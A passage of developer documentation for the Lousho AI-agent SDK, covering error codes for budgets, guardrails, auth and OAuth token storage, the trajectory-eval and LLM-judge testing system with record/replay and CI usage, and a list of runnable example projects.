**Example:** a reply that does not match `output: zodSchema` after the repair step.

### LOUSHO\_BUDGET\_EXCEEDED

**Means:** a run's or a session's `limits` budget (`maxTokens`, `maxCostUsd`,
`maxDurationMs`, ...) tripped under `onExceeded: 'throw'`. `BudgetExceededError`
carries `budget: { limit, value, max, scope }`. With the default
`onExceeded: 'stop'` nothing is thrown: the run ends with
`finishReason: 'budget-exceeded'`.

**Fix:** raise the limit named in the message, or drop `onExceeded: 'throw'`.
See [Budgets](/configuration#budgets).

**Example:** `createAgent({ provider, limits: { maxCostUsd: 0.01, onExceeded: 'throw' } })` whose run costs more than a cent.

### LOUSHO\_GUARDRAIL\_TRIPPED

**Means:** an input, output or tool guardrail blocked a run under
`onTripped: 'throw'`. `GuardrailError` carries
`guardrail: { name, kind, reason, toolName? }`. With the default
`onTripped: 'stop'` nothing is thrown: the run ends with
`finishReason: 'guardrail'`.

**Fix:** look at `error.guardrail` for which guardrail blocked and why, or drop
`onTripped: 'throw'`. See [Input and output guardrails](/guardrails#input-and-output-guardrails).

**Example:** `createAgent({ provider, guardrails: { input: [maxLengthGuardrail({ maxChars: 10 })], onTripped: 'throw' } })` sent a longer message.

## Auth

### LOUSHO\_AUTH\_CONFIG\_INVALID

**Means:** a route auth helper from `@lousho/build-ai-agent/auth` (`jwt()`,
`oidc()`, `basic()`, `apiToken()`) got options it cannot verify with, and
refused them when it was created, not at the first request. The message names
the option: no key source or two of them, an HMAC `secret` shorter than 32
bytes, an algorithm that does not fit the key (`secret` with `RS256`, a public
key with `HS256`), no `audience` (and no `allowAnyAudience: true`), a
`clockToleranceSec` above 300, a key-set or issuer URL that is not https, an
empty user list or token (also `createRouteHandler({ auth: '' })` and
`serveFetch(request, ctx, '')`).

**Fix:** change the option the message names. See [Route auth and principals](/auth).

**Example:** `jwt({ secret: process.env.JWT_SECRET! })` without `audience`.

## OAuth

### LOUSHO\_TOKEN\_KEY\_MISSING

**Means:** a file, SQLite or KV store was asked to store an OAuth token, a
pending sign-in or a registered client (or to read one that exists), and it has
no token key: neither its `tokenKey` option nor the `LOUSHO_TOKEN_KEY`
environment variable is set. Tokens are only ever stored encrypted, and there
is no default key. Reads of records that do not exist need no key.

**Fix:** generate a key once with `generateTokenKey()` (32 random bytes as
base64), keep it as a secret, and pass it as `tokenKey` or set
`LOUSHO_TOKEN_KEY`. On Cloudflare Workers, add it with
`wrangler secret put LOUSHO_TOKEN_KEY`. See [Token storage](/oauth#token-storage).

**Example:** `new SqliteStore('./agent.db').tokens.set('github', { owner: 'app' }, token)`
with `LOUSHO_TOKEN_KEY` unset.

### LOUSHO\_TOKEN\_DECRYPT\_FAILED

**Means:** a stored OAuth record could not be decrypted: the store's key is not
the one it was written with, or the record was changed or copied to another
owner. The message names the provider, never the token.

**Fix:** use the key the tokens were written with. While rotating, list the old
key after the new one (`tokenKey: [newKey, oldKey]`, or
`LOUSHO_TOKEN_KEY="<new>,<old>"`). If the old key is lost, delete the record
(`tokens.delete(provider, owner)`) and sign in again. See
[Token storage](/oauth#token-storage).

**Example:** a `SqliteStore` file written with one `tokenKey` and opened with
another.

### LOUSHO\_OAUTH\_PRINCIPAL\_REQUIRED

**Means:** a tool called `ctx.getToken()` (or `requireAuth()`) for a provider
whose credential belongs to each user (`credentialOwner: 'user'`, the default),
but the run has no principal, so there is no user to own the token. The call
fails with this error; the run does not pause and no sign-in link is made.

**Fix:** serve the agent behind route auth or a channel, so each run has a
principal ([Auth](/auth)), or define the provider with
`credentialOwner: 'app'` when one credential is meant for everyone. See
[Tools that need sign-in](/oauth#tools-that-need-sign-in).

**Example:** `agent.send('List my repositories')` without `{ principal }`, with
a tool that calls `ctx.getToken(github)`.

### LOUSHO\_OAUTH\_APP\_SIGNIN\_REQUIRED

**Means:** a tool asked for the app's own credential (`credentialOwner: 'app'`)
and none is stored (or it was revoked). A chat user is never sent the app's
sign-in link, so the call fails instead of pausing.

**Fix:** sign the app in once: open the URL from
`agent.oauth.signInUrl(provider)` and let the callback store the token. See
[App credentials](/oauth#tools-that-need-sign-in).

**Example:** a `post_update` tool calling `ctx.getToken(slackBot)` before the
operator connected Slack.

### LOUSHO\_OAUTH\_STORE\_MISSING

**Means:** a tool called `ctx.getToken()`, or `agent.oauth` was used, on an
agent without a token store, so there is nowhere to read or keep a token. The
run stops with this error. An HTTP MCP server with `oauth` needs the store
too: connecting it (`ready()`, `connectMcp()` without `tokens`) fails with
this error.

**Fix:** pass `createAgent({ store })` with `tokens`: `memoryStore()`,
`fileStore()`, `SqliteStore` or `KVStore` (the persistent ones need a
`tokenKey`). See [Token storage](/oauth#token-storage).

**Example:** `createAgent({ provider, tools: [listRepos] })` with no `store`.

### LOUSHO\_OAUTH\_STATE\_INVALID

**Means:** `agent.oauth.complete()` (the `/oauth/callback` route) got a `state`
that is unknown, was already used, or is older than 10 minutes, or (with an
authenticated callback request) a sign-in started for another user. The route
answers 400.

**Fix:** start again from a fresh link: approve nothing, let the tool ask
again (a new pause has a new link), or call `agent.oauth.signInUrl()` again for
an app sign-in. See [The callback route](/oauth#the-callback-route).

**Example:** opening the same provider redirect twice, or after 10 minutes.

### LOUSHO\_SIGNIN\_PENDING

**Means:** `agent.approvals.resolve({ id, approved: true })` was called on a
sign-in pause (`kind: 'sign-in'`) before the user's token was stored. The pause
stays as it was. On `POST /chat/:id/approvals/:approvalId` this is HTTP 409.

**Fix:** open the sign-in link first and let the provider redirect to the
callback, then approve again; or approve with `false` to cancel the call. See
[What the user sees](/oauth#what-the-user-sees).

**Example:** clicking "I've signed in" before finishing the provider's page.

### LOUSHO\_OAUTH\_TOKEN\_EXCHANGE\_FAILED

**Means:** the provider's token endpoint refused to exchange the authorization
code (or a request to it failed), or the callback came without a code, or no
provider with the pending sign-in's name is defined in this process. The
message names the provider, the HTTP status and the OAuth `error` code, never
the code or the response body. The callback route answers 502. For an MCP
server with `oauth` the message names the server and the OAuth `error` code.

**Fix:** check `tokenUrl`, `clientId`, `clientSecret`, `clientAuth` and that
`redirectUri` matches the one registered with the provider exactly, and that
the module defining the provider is loaded by the process serving the
callback. Then sign in again. See [The callback route](/oauth#the-callback-route).

**Example:** `invalid_client` from GitHub after the client secret was rotated.

### LOUSHO\_MCP\_AUTH\_REQUIRED

**Means:** an HTTP MCP server with `oauth` refused the connection or a tool
call because the app has no usable token for it: nobody has signed the app in
yet, the grant was revoked, or the server's `url` changed since the sign-in (a
token is only sent to the url it was obtained for). The server's status becomes
`'needs-auth'`. When connecting, `ready()` (and `connectMcp()`) fails with this
error; during a run, the tool call's result is this error and the run goes on.
A chat user is never asked to sign in for an MCP server, and the message never
contains the authorization URL.

**Fix:** sign the app in once: open the URL from
`agent.oauth.mcpSignInUrl('<server>')` and let the provider redirect to the
callback route. The next connection or tool call uses the stored token. See
[MCP servers with OAuth](/oauth#mcp-servers-with-oauth).

**Example:** `createAgent({ mcpServers: { linear: { url, oauth: { redirectUri } } }, store })`
and `await agent.ready()` before the operator signed in.


# Evals
Source: https://lousho.com/evals



Evals are regression tests for agent *behaviour*: which tools the agent called,
in what order, with which arguments, how many steps it took, and what it said.
They are written with `defineEval()`, live in `*.eval.ts` files, run under
[vitest](https://vitest.dev), and are best run in CI with `lousho eval`, which
prints a summary and writes JUnit and JSON reports.

> **vitest is required.** `lousho eval` does not run eval files itself: it runs
> your `*.eval.ts` files through [vitest](https://vitest.dev), resolved from your
> project's own `node_modules` (Lousho does not bundle it). Install it as a dev
> dependency first; without it, `lousho eval` exits 1 with
> `vitest was not found from <dir>` and the install command.

```bash theme={null}
npm install --save-dev vitest
npx lousho eval
```

## Writing a trajectory eval

Give `defineEval()` an agent (from `createAgent()`) and a `test` function. Send
messages with `t.send()`, then assert on the run. Using `mockModel` as the
agent's provider makes the eval deterministic: no network, no API key, no
flakiness. **This is the default way to write an eval**; use a real model only
for the [judge evals](#judge-evals) below.

```ts theme={null}
// refund.eval.ts
import { z } from 'zod';
import { createAgent, defineEval, defineTool, includes } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const lookupOrder = defineTool({
  name: 'lookup_order',
  description: 'Look up an order by id',
  input: z.object({ orderId: z.string() }),
  execute: ({ orderId }) => ({ orderId, status: 'delivered' }),
});

defineEval({
  name: 'refund flow',
  tags: ['smoke'],
  // A factory builds a fresh agent (and a fresh script) for every case.
  agent: () =>
    createAgent({
      instructions: 'You handle refund requests.',
      tools: [lookupOrder],
      provider: mockModel([
        { toolCalls: [{ name: 'lookup_order', args: { orderId: '42' } }] },
        { text: 'Order 42 can be refunded within 30 days.' },
      ]),
    }),
  async test(t) {
    await t.send('Refund order 42');
    t.completed();
    t.calledTool('lookup_order', { args: { orderId: '42' } });
    t.notCalledTool('issue_refund');
    t.check('mentions policy', t.reply, includes('30 days'));
    t.maxSteps(4);
  },
});
```

`defineEval()` also still accepts the original form
(`{ name, agent, input, provider, score, threshold }`): it keeps working
unchanged, and its result shows up in `lousho eval` as one `score` assertion.

### Assertions

Every assertion is recorded; the case fails at the end and lists **every**
failed gate, so one run shows all that is wrong.

| Call | Kind | Passes when |
| - | - | - |
| `t.completed()` | gate | the latest run ended with a normal `stop` (not an error, abort, pending approval, or `maxSteps` cut-off) |
| `t.calledTool(name, { args?, times?, subagent? })` | gate | the tool was called; `args` is a partial deep match (the call's arguments must contain these keys with equal values); `times` is an exact count of matching calls; `subagent` counts only that sub-agent's calls |
| `t.notCalledTool(name, { subagent? })` | gate | the tool was never called, by the lead or any sub-agent |
| `t.toolOrder([a, b], { subagent? })` | gate | the tools were called in this order (other calls may sit in between) |
| `t.maxSteps(n)` | gate | the agent took at most `n` model steps |
| `t.maxTokens(n)` | gate | the agent used at most `n` tokens |
| `t.maxCostUsd(n, { unknownCost? })` | gate | the run's reported cost is at most `n` USD. When the SDK reports no cost (the model has no known price; see `registerModel`) the gate fails, since the budget cannot be checked; with `unknownCost: 'skip'` it is skipped instead (counts as passed, marked `skipped`, with a `console.warn`) |
| `t.check(name, value, check)` | gate | `check` passes for `value` |
| `t.soft(name, value, check)` | soft | never fails the run (unless `--strict`); the score is recorded and reported |
| `await t.judge(rubric)` | n/a | returns a 0 to 1 score from an LLM judge (see [Judge evals](#judge-evals)) |

Checks, for `t.check()` and `t.soft()`: `includes(text)`, `matches(regex)`,
`equals(value)` (yes/no, score 1 or 0), and `atLeast(n)`, `atMost(n)` (the
number is the score).

Failure messages say what was actually seen:

```text theme={null}
calledTool('lookup_order') failed: tools called were [search_docs, issue_refund]
calledTool('lookup_order', {"args":{"orderId":"41"}}) failed: 'lookup_order' was called 1 time(s) but no call matched the expected args; closest call differs in orderId: expected "41", got "42"
completed() failed: finishReason was 'max-steps' (the run hit maxSteps while still calling tools)
```

Other context members: `t.reply` (latest reply text), `t.result` (latest
`ExecutionResult`), `t.toolCalls` (every call so far, with parsed arguments).
You can `send()` more than once; steps, tokens and tool calls add up.

### Sub-agents

When the agent delegates with `subagents`, the calls a sub-agent makes are part
of `t.toolCalls`. Each follows the `task` call that started it and carries a
`subagentPath` (`['researcher']`, or `['researcher', 'fetcher']` when it
delegated again); the lead's own calls have none. The assertions search the whole
tree by default, so `t.notCalledTool('delete_repo')` fails if a sub-agent called
it. Pass `{ subagent: 'researcher' }` to look at one sub-agent (and the
sub-agents under it) only:

```ts theme={null}
import { createAgent, defineEval } from '@lousho/build-ai-agent';

const researcher = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You research.', description: 'Finds sources' });
const agent = createAgent({ model: 'openai/gpt-4o-mini', subagents: { researcher } });

defineEval({
  name: 'research delegates the search',
  agent,
  async test(t) {
    await t.send('Research electric bikes');
    t.calledTool('web_search', { subagent: 'researcher' });
    t.notCalledTool('delete_repo');
  },
});
```

The calls come from the run's `tool.start` events, which `t.send()` collects
through `send(message, { onEvent })`. A remote target (`--url`) streams no
sub-agent events, so it only shows the lead's calls. The classic form
(`{ agent, input, provider, score }`) forwards every `AgentExecutor.execute()`
option, `subagents` and `skills` included, and its `EvalResult.toolCalls`
includes the sub-agent calls too.

### Repeating a case (pass\@k)

A model is not deterministic, so one run says little. `repeat: n` runs every
case `n` times; the case passes when all `n` runs pass, or when at least
`passAt: k` of them do:

```ts theme={null}
import { createAgent, defineEval } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You handle refunds.' });

defineEval({
  name: 'refund flow',
  agent,
  repeat: 5,
  passAt: 4, // pass@4 of 5
  async test(t) {
    await t.send('Refund order 42');
    t.calledTool('issue_refund');
  },
});
```

Each run is its own row in the report (`refund flow [refund flow #1]`, ...) with
its own cassette. `timeoutMs` covers all runs of a case, so raise it with `repeat`.

### Datasets

Pass `cases` and `test` runs once per case, each reported separately. A case is
any object; its `label` (or `name`, or its `input`) names it.

```ts theme={null}
import { z } from 'zod';
import { createAgent, defineEval, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const lookupOrder = defineTool({
  name: 'lookup_order',
  description: 'Look up an order by id',
  input: z.object({ orderId: z.string() }),
  execute: ({ orderId }) => ({ orderId }),
});

defineEval({
  name: 'order lookups',
  agent: () =>
    createAgent({
      tools: [lookupOrder],
      provider: mockModel([
        { toolCalls: [{ name: 'lookup_order', args: { orderId: '7' } }] },
        { text: 'Found it.' },
      ]),
    }),
  cases: [
    { input: 'Where is order 7?', orderId: '7' },
    { input: 'Status of #7', orderId: '7', label: 'hash syntax' },
  ],
  async test(t, c) {
    await t.send(c.input);
    t.calledTool('lookup_order', { args: { orderId: c.orderId } });
  },
});
```

Pass a **factory** (`agent: () => createAgent(...)`) so each case gets its own
agent and its own `mockModel` script. With a single shared agent, a scripted
model runs out of turns on the second case.

## Judge evals

`t.judge(rubric)` grades the latest reply with an LLM and returns a score from
0 to 1. It needs a judge provider, and lousho never calls a real LLM unless you
configured one: without `judge`, `t.judge()` throws an error saying how to fix
it.

```ts theme={null}
// tone.judge.eval.ts: run with `lousho eval --judge`
import { createAgent, defineEval, atLeast } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

defineEval({
  name: 'tone',
  agent: createAgent({ provider: mockModel(['Happy to help with that refund!']) }),
  // A real provider in practice; mockModel keeps this example offline.
  judge: { provider: mockModel(['0.9']), model: 'judge-model' },
  async test(t) {
    await t.send('I want my money back');
    t.soft('polite', await t.judge('Is the reply polite?'), atLeast(0.7));
  },
});
```

`judge.model` is optional: without it the judge runs on its provider's own
model. The judge sees the rubric, the user's request and the agent's reply, runs
at temperature 0 unless you set `temperature`, and is asked to end with a
`SCORE: <0..1>` line. Its reply is read by the last `score`-labelled number
(`SCORE: 0.9`, `**Score:** 8/10`, `{"score": 0.8}`), so a number in its
reasoning ("1 of 5 criteria") is ignored. Without a label the whole reply must
be one number (`0.9`, `**0.9**`). A number is scaled into 0 to 1 when it is
written as `8/10`, `8 out of 10`, `85%` or a bare whole number from 2 to 100
(`8` reads as 8/10, `85` as 85/100). A reply with no labelled or bare number
scores 0. `parseJudgeScore(text)` exposes the same parsing.

Files named `*.judge.eval.ts` are never picked up by a normal run (and
`npm test`); only `lousho eval --judge` (or `npm run test:evals:judge` in this
repository) runs them.

## `lousho eval`

```text theme={null}
lousho eval [globs...] [--tag t] [--junit path] [--json path] [--strict] [--judge] [--record | --replay | --drift [--drift-usage]] [--url <base> [--token <bearer>]] [--config path] [--timeout ms]
```

| Option | Meaning |
| - | - |
| `globs...` | eval files to run (default: every `**/*.eval.ts`, or `**/*.judge.eval.ts` with `--judge`) |
| `--tag t` | only run evals whose `tags` include `t` (repeat or comma-separate for several) |
| `--junit path` | write a JUnit XML report |
| `--json path` | write the summary and every structured result as JSON |
| `--strict` | soft failures fail the run |
| `--judge` | run `*.judge.eval.ts` files instead of the normal ones |
| `--url base` | run every case against the deployed agent at `base` instead of in-process; `--token` (or `LOUSHO_EVAL_TOKEN`) is the bearer token. See [Run evals against a deployment](#run-evals-against-a-deployment) |
| `--config path` | use your own vitest config instead of the generated one |
| `--timeout ms` | time limit per case in milliseconds (`0` = none); see [Time limits](#time-limits) |
| `--record` | run against the real provider and write one cassette per case ([below](#record-replay-and-drift)) |
| `--replay` | run every case from its cassette, with no network; a missing cassette fails the case |
| `--drift` | re-record into a temp directory and report how each case's trajectory changed (`--drift-usage` also compares tokens) |

It spawns the vitest installed in your project (vitest is *your* dependency; if
it is missing the command prints `npm install --save-dev vitest` and exits 1),
then prints one row per case with its scores and duration, totals, and the gate
failures and soft failures listed separately. The "with soft failures" total (`softFailed` in the JSON summary) counts every case with a failed soft assertion, including cases that also failed a gate.

**Exit code:** `1` on any gate failure (or soft failure with `--strict`, or when
vitest itself fails, for example a file that does not load, or is not installed,
or a `--junit`/`--json` report cannot be written, or when no case ran at all:
no eval file matched, or a `--tag` matched no case), `2` for a usage error (bad
arguments), otherwise `0`. A case that vitest fails after the case itself
finished (it ran past its time limit) is reported as that case failing.

How results are collected: each case appends one JSON line to a file named by
the `LOUSHO_EVAL_RESULTS` environment variable, which `lousho eval` sets and
reads back. This is more robust than a custom vitest reporter: it works across
vitest versions and worker pools, and needs no module loaded from your project.

### Time limits

An agent run on a real model takes far longer than vitest's 5 s default test
timeout. The config `lousho eval` generates gives every case 10 minutes, except
under `--replay`, which keeps vitest's default because nothing waits on a
model. `--timeout ms` sets the limit for every case (`0` turns it off). With
`--config`, your config's `testTimeout` applies unless you pass `--timeout`.
One eval can set its own limit, which wins over both:

```ts theme={null}
import { createAgent, defineEval } from '@lousho/build-ai-agent';

defineEval({
  name: 'research report',
  agent: createAgent({ model: 'openai/gpt-4o-mini' }),
  timeoutMs: 15 * 60_000,
  async test(t) {
    await t.send('Summarize the latest release notes.');
    t.completed();
  },
});
```

A case that runs out of time is reported as an error naming the limit, in the
summary and in the JUnit and JSON reports.

### JUnit

The report is standard JUnit: one `testsuite` per eval, one `testcase` per case.
A failed gate is a `<failure message="...">` carrying the diagnostic message; a
case that threw or timed out is an `<error>`; soft failures are `<system-out>`
notes (or failures under `--strict`), also on a case that failed a gate. When vitest fails something no eval case
reported - an eval file that does not load, a plain `test()` that fails - the
report gets an `<error>` testcase for it under a `vitest` suite, one per file
(or one for the whole run when `--config` is used and vitest names no file), so
a broken run never writes an empty, green-looking report.

### In CI

```yaml theme={null}
# .github/workflows/evals.yml
name: evals
on: [pull_request]
jobs:
  evals:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 22 }
      - run: npm ci
      - run: npx lousho eval --junit reports/evals.xml --json reports/evals.json
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: eval-reports
          path: reports/
      - uses: mikepenz/action-junit-report@v4
        if: always()
        with:
          report_paths: reports/evals.xml
```

Run `--tag smoke` on every pull request and the full set nightly; run
`--judge` only where you accept real LLM calls and their cost.

### Environment variables

`lousho eval` passes its flags to the vitest process that runs the eval files
through environment variables. You do not set them yourself; they are listed
so you recognise them in a CI log or a custom runner:

| Variable | Set from | Meaning |
| - | - | - |
| `LOUSHO_EVAL_CASSETTES` | `--record`, `--replay`, CI | Cassette mode for the run: `record`, `replay` or `auto` (replay a case whose cassette exists, run the rest live). Under `replay` and `auto` a `model:` spec resolves without its API key. |
| `LOUSHO_EVAL_DRIFT_DIR` | `--drift` | With `record`: where the drift run writes its cassettes instead of next to the eval file. |
| `LOUSHO_EVAL_CONFIG` | `--config` | The config path, so re-record hints can repeat it. |
| `LOUSHO_EVAL_TAGS` | `--tag` | Comma-separated tags; only cases with one of them run. |
| `LOUSHO_EVAL_RESULTS` | always | The file each case appends its result line to, which `lousho eval` reads back (see [`lousho eval`](#lousho-eval)). |
| `LOUSHO_EVAL_URL` | `--url` | Base URL of the deployed agent to run the cases against. |
| `LOUSHO_EVAL_TOKEN` | `--token` | Bearer token for `--url`. |
| `LOUSHO_ALLOW_LLM_JUDGE` | `--judge` | Set to `1` inside the judge runner. Without it, `llmJudge()` / `llmCritique()` called outside that runner throw `LOUSHO_EVALS_INVALID`, so a misplaced judge eval never makes a paid model call in a normal test run. |

## Record, replay and drift

An eval against a real model is slow, costs money and needs a key; the same
eval on `mockModel` only tests the script you wrote. `lousho eval` sits in
between: it records each case once against the real provider through
[`recordReplay`](/testing#record-and-replay) and replays the recording in CI.
Your eval files do not change.

```bash theme={null}
npx lousho eval --record        # real provider: writes the cassettes, commit them
npx lousho eval --replay        # every case from its cassette, no network, no key
npx lousho eval --drift         # re-record and diff each case's trajectory
```

* **`--record`** runs every case with its agent's real provider and writes one
  cassette per case next to the eval file:
  `__cassettes__/<eval-name>/<case>-<hash>.json`. The name is the slugged case
  label plus a short hash of the full label, for example
  `refund-flow/polite-1f3a9c2e.json`, so two cases whose labels slug or
  truncate alike still get their own file; an eval without `cases` writes
  `default.json`. Give each case a unique `label` so the names stay stable:
  two cases that would still share a cassette (the same label twice) fail at
  record time instead of overwriting each other. A case whose agent uses more
  than one provider (a sub-agent on another model) gets one named after the
  sub-agent, `<case>-<hash>.<agent>.json` (older `.2.json` files are still
  replayed). Replay matches each call by its request, not its position, so
  parallel sub-agent tasks replay whatever order the live model answered in; a
  mismatch stops the run with `LOUSHO_CASSETTE_INVALID` even when it happens
  inside a sub-agent. The files use the normal cassette format, with API keys redacted;
  review and commit them. Re-recording a case whose exchanges did not change
  leaves its file untouched (`recordedAt` is kept), so only real changes show
  in a diff. Cassettes recorded by an older SDK under the unhashed
  `<case>.json` name are still replayed; the next `--record` writes the new
  name, after which the old file can be deleted.
* **`--replay`** never calls the model. A case with no cassette fails with
  `no cassette for "<eval> [<case>]" at ...` and the `--record` command to run
  (with your `--config`, if you gave one); when the agent's requests changed,
  the replayed model call fails with a `CassetteMismatchError` naming the first
  difference and the same `lousho eval --record` command. Plain
  `lousho eval` with `CI` set replays every case that has a cassette and runs the
  rest live; without `CI` it runs live as before.
* **`--drift`** re-records every case into a temp directory (the committed
  cassettes are not touched) and compares each with its committed cassette:
  the ordered tool names, each call's arguments (JSON-normalized, so key order
  does not count), the step count and the finish reason. Token usage changes
  on every real run, so it is compared only with `--drift-usage`. The summary
  gets a `Drift:` table (eval, case, field, committed, current); each drifted
  case gets a soft `drift` assertion, so it shows as `PASS (soft fail)` and as a
  `<system-out>` note in the JUnit report. With `--strict`, drift is a gate
  failure: the case fails, JUnit has a `<failure>`, and the run exits 1.

```text theme={null}
Drift:
EVAL         CASE    FIELD  COMMITTED                     CURRENT
refund flow  polite  args   lookup_order {"orderId":"42"}  lookup_order {"orderId":"43"}
```

Run `--drift` nightly or before a model upgrade, and `--replay` (or plain
`lousho eval` in CI) on every pull request. Judges are not recorded: grade with
a real judge only in `*.judge.eval.ts` files.

How it works: the run loop sends every model call (`generate` or `stream`, from
a plain run, a streamed run, a sub-agent or an approval resume) through one
provider-interception seam, `setProviderInterceptor()` (exported from
`@lousho/build-ai-agent/testing`; `src/providers/interception.ts` in the
source). Nothing is installed by default, so the seam is
free. While a case runs under one of these modes, `lousho eval` answers it with
the provider wrapped by `recordReplay()` for that case's cassette. You can use
the seam yourself to put any wrapper at the model boundary: the interceptor gets
the run's provider and returns the one to call (it must return the same wrapper
for the same provider, and leave a provider it already wrapped alone). A
cassette failure it raises - a replay mismatch or a missing cassette - reaches
`send()` typed (`CassetteMismatchError`, `LOUSHO_CASSETTE_INVALID`), not as a
compacted provider error.

## Run evals against a deployment

The same eval file that gates CI in-process can smoke-test a deployed agent (the
[node server or Cloudflare Worker](/deployment#http-api)). Point `lousho eval` at its base
URL and every case runs against the deployment instead of the in-process agent:

```bash theme={null}
npx lousho eval --url https://agent.example.com --token "$DEPLOY_TOKEN"   # or LOUSHO_EVAL_TOKEN
```

Each case gets its own remote session (`POST /chat { sessionId, input }`, one
session per case, shared by its `t.send()` calls) and the SSE stream is read to
`run.done`. The events become the same result an in-process run produces: tool
calls, final reply, finish reason, steps and usage. So `t.calledTool()`,
`t.completed()`, scorers, `t.judge()`, the summary and `--junit` work
unchanged. The `agent` in the file is not used; give the deployment's own model
and tools the behaviour you want to check.

* A check that needs data the stream does not carry fails and says so (for
  example `maxTokens` when `run.done` has no usage); `maxCostUsd` fails when there
  is no cost, unless you pass `{ unknownCost: 'skip' }`.
* `--url` cannot be combined with `--record`, `--replay` or `--drift`
  (`LOUSHO_CONFIG_CONFLICTING_OPTIONS`): cassettes record a provider in-process.
  Score/threshold evals (`score:` form) also need an in-process provider and fail
  with the same code; use trajectory evals.
* An unreachable deployment, a non-2xx answer or a truncated stream fails that
  case with `LOUSHO_REMOTE_REQUEST_FAILED`, and `401` with
  `LOUSHO_REMOTE_UNAUTHORIZED`; the run goes on. The token is never printed or
  written to a report.

In code, pass a `target` (this overrides `agent`; `--url` overrides both):

```ts theme={null}
import { defineEval, remoteTarget } from '@lousho/build-ai-agent';

defineEval({
  name: 'deployed refund flow',
  target: remoteTarget({ url: 'https://agent.example.com', auth: process.env.LOUSHO_EVAL_TOKEN }),
  async test(t) {
    await t.send('Refund order 42');
    t.completed();
    t.calledTool('lookup_order');
  },
});
```

`remoteTarget({ url, auth?, fetch? })` takes an injectable `fetch`, which is how
the SDK's own tests run the real routes in-process without a socket.


# Examples
Source: https://lousho.com/examples

Runnable examples from the SDK repository. Most use the built-in mock provider, so they need no API key.

The examples live in the [`examples/`](https://github.com/LinuxDevil/agent-sdk/tree/main/examples) directory of the SDK repository. Clone it, install, and run any of them with the command shown:

```bash theme={null}
git clone https://github.com/LinuxDevil/agent-sdk.git
cd agent-sdk
npm install
```

## Flagship

> **[ops-pipeline](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/ops-pipeline)**
>
> A monitoring alert reaches a monitor agent, which delegates a fix behind a human approval gate. A Slack "Fix it" button resumes the paused run, a fixer agent writes a patch, and guardrails check the patch before a GitHub pull request is opened. Runs against mocks by default: `npm run pipeline:demo`.

## Starting points

| Example | What it shows | Run it |
| - | - | - |
| [coding-harness](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/coding-harness) | A production-shaped coding agent: workspace tools with checkpoints, permission rules, a loop guard, a cost cap, and the `coding-kit` / `coding-pi` registry kits it ships as | `npx tsx examples/coding-harness/index.ts` |
| [deep-research](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/deep-research) | The multi-agent research archetype: a coordinator fans out parallel `task` calls to researcher sub-agents, then synthesizes a cited report | `npm run example:deep-research` |
| [support-desk](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/support-desk) | A triage agent that `handoff()`s the conversation to billing/tech specialists, with an approval-gated refund tool | `npm run example:support-desk` |
| [evaluator-loop](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/evaluator-loop) | The writer/critic archetype: a draft is scored by `llmCritique()` and revised against its feedback until it passes | `npm run example:evaluator-loop` |
| [data-analyst](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/data-analyst) | Text-to-SQL over `node:sqlite` with defense-in-depth read-only enforcement — `DELETE`/`DROP` can never run | `npm run example:data-analyst` |
| [plan-mode](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/plan-mode) | A coding agent that reads and proposes in `plan` mode, then applies edits after `session.setPermissionMode('acceptEdits')` | `npm run example:plan-mode` |
| [waves](/examples/waves) | Waves: bounded parallel workers, a deterministic aggregate, a typed verify gate, and extension waves seeded by the gaps it names | `npm run example:waves` |
| [phase-pipeline](/examples/phase-pipeline) | Phase engineering on flows: discuss → spec → plan → implement → proof gate, with the retry ladder as a `oneOf` chain | `npm run example:phase-pipeline` |
| [coding-agent-workflows](/examples/coding-agent-workflows) | A coding agent routed by a typed decision (`{ route, confidence }` via `output`), with a confidence floor escalating to the careful path | `npm run example:coding-agent-workflows` |
| [connectors](/examples/connectors) | MCP connectors (the Claude-connectors shape) run fully offline against a mock `serveMcp` stdio server | `npm run example:connectors` |
| [hostinger-deploy](/examples/hostinger-deploy) | Deploy an agent to a real Hostinger VPS: API verification, `docker save` over SSH, health + approval smoke tests | `node examples/hostinger-deploy/deploy.mjs --vm <id>` |
| [agent-dir](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/agent-dir) | An agent defined as a directory (`instructions.md`, `tools/`, `skills/`, `agent.json`) and loaded with `loadAgentDir()` | `npm run example:agent-dir` |
| [support-bot](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/support-bot) | A minimal customer-support agent | `npm run example:support-bot` |
| [research-assistant](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/research-assistant) | A research agent with the built-in `http` tool | `npm run example:research-assistant` |
| [doc-qa](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/doc-qa) | Question answering scoped to one document | `npm run example:doc-qa` |
| [workflow-router](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/workflow-router) | Classifying a request into a fixed set of categories | `npm run example:workflow-router` |
| [slack-notifier](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/slack-notifier) | Turning a raw event description into a short Slack notification | `npm run example:slack-notifier` |
| [tracing](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/tracing) | A run wired to console and OpenTelemetry trace exporters | `npm run example:tracing:console` |
| [openrouter](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/openrouter) | `OpenRouterProvider`: generation, streaming, tool calling, model listing. Needs `OPENROUTER_API_KEY` | `npm run example:openrouter` |

## Related guides

* [Agent directories](/agent-directories) explains the layout the `agent-dir` example uses; [Claude Code projects](/claude-projects) covers the `.claude/` convention.
* [Approvals](/approvals) and [Guardrails](/guardrails) cover the two gates in `ops-pipeline`.
* [Prompting and context techniques](/prompting-techniques) maps waves, phases and typed decisions to the patterns the `waves`, `phase-pipeline` and `coding-agent-workflows` examples implement.
* [Connectors](/connectors) and [MCP](/mcp-integration) cover the surface the `connectors` example exercises.
